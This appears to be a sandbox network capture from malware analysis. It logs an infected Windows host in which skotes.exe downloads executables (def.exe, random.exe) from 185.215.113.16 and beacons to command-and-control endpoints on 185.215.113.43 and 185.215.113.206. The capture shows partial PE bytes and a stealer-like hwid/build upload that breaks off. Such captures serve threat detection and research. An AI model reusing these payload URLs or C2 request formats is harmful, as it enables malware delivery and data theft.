Dec 16, 2024 15:04:58.481431961 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:04:59.830456018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:59 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:04:59.830503941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830544949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830602884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830636978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830672026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830708027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:04:59.830743074 CET	1236	IN	Data Raw: bc f4 4b 71 94 51 4d 36 1d 40 4b ae 0d 76 a8 60 b9 8d b2 50 7a 2b 9f 10 49 06 81 2f e3 8b 11 46 75 78 f7 d4 de 69 d2 90 c5 c1 88 66 ee 2f 3d 31 2a 07 6d 60 66 fa 3f 2c 1c 29 4a 2a 2c ff 03 43 2e f2 5c 70 94 fd 58 88 78 16 6c 26 0a 10 4a c1 56 d9 Data Ascii: KqQM6@Kv`Pz+I/Fuxif/=1m`f?,)J,C.\pXxl&JVZUD0W[wC9LA2 \?1%R4I^AH`mVd-@w; yXK4[tj+at&+$~B/j<(b;2>Dr?P)w=/SSH1yjNSC_V
Dec 16, 2024 15:04:59.830776930 CET	1236	IN	Data Raw: a8 f5 62 86 d0 f5 66 52 b9 e0 eb 66 13 18 61 df 5a 20 5d 6a 8c 2b 7f 4f 4a 7d 87 76 30 38 57 71 5a 20 97 50 bc 58 9b 73 c1 eb d8 ee 30 f5 a2 70 5a 54 63 9e 8c 3c b3 64 7e 91 bd aa 58 18 bf 47 8a 19 f7 ca 13 74 50 f8 30 78 6f 71 9a 09 d7 be a2 b0 Data Ascii: bfRfaZ ]j+OJ}v08WqZ PXs0pZTc<d~XGtP0xoqGr+qn"OL}L[ QXs&wj'0t/`B7Ame04: LI(\mLYaj#qqGC4ixqtyx8GEI 5+k0@7sX1EQ+K1X
Dec 16, 2024 15:04:59.830811977 CET	1236	IN	Data Raw: 71 12 5c 77 86 30 63 43 6d 5d 13 71 25 dc 52 e5 1f eb 64 9e 60 05 87 17 15 4e 92 8f 7f d0 b8 14 77 1d 91 a1 1e 71 85 35 ab 4f 38 44 3a 0a 98 07 6b f8 b6 80 10 5b d4 92 2a e8 c0 92 7b 4b b3 cb a2 05 af 5f 2c 4f a7 79 21 c2 f7 71 98 a5 7c c2 dd de Data Ascii: q\w0cCm]q%Rd`Nwq5O8D:k[*{K_,Oy!q\|W@h/<Q3YJH<l7593Okk47qr"PIze=2-Msnb\|\F]M&\|-.POew.N}Tm[AYPa{I U?,$_E
Dec 16, 2024 15:04:59.950684071 CET	1236	IN	Data Raw: 19 3d 2c 1b 43 0c 42 4a 3e 90 48 35 f7 ec 84 51 0e 05 51 b1 0e 0c a3 3e 0b 22 2f 97 11 fd 2d 62 0e fc a8 7c 5b 09 f5 03 8e d1 3e a8 6f bb 60 df 59 b6 bb 75 71 5a 6b 2e 5a ea 54 85 78 49 af 7c 08 57 ad 73 7e 4b a4 1f db 15 4e 01 cb 5f b2 b3 7a d0 Data Ascii: =,CBJ>H5QQ>"/-b\|[>o`YuqZk.ZTxI\|Ws~KN_z@HiQNFQVxx`6rcdIes#kt[9*hdwLI_xa-rt_E_4A` 1FH09ks\|&<w?SIe 6A_ j,yvor\|\|]7JQ1n:~.kK
Dec 16, 2024 15:05:04.603965998 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:05:05.046943903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:04 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50237	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:59.928689003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50238	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:01.583245993 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:05:03.173455000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50242	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:04.943607092 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:05:06.281899929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	50249	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:05.649465084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:06.763890982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84279 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:07.047554016 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:07.363148928 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84280 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:07.397866964 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:07.712403059 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84280 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:08.061292887 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:08.377126932 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:08.462981939 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:08.778714895 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:09.304546118 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:09.619381905 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84282 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:09.880533934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:10.195283890 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84283 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:10.554954052 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:10.869673014 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84283 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:05:14.114317894 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:05:14.431992054 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84287 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	50262	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:07.027235031 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50265	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:07.487329960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50269	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:08.050657988 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50270	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:08.051297903 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:05:09.432383060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50271	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:08.382827044 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50274	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:08.902895927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50275	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:09.081307888 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:05:10.440841913 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:05:10.443406105 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 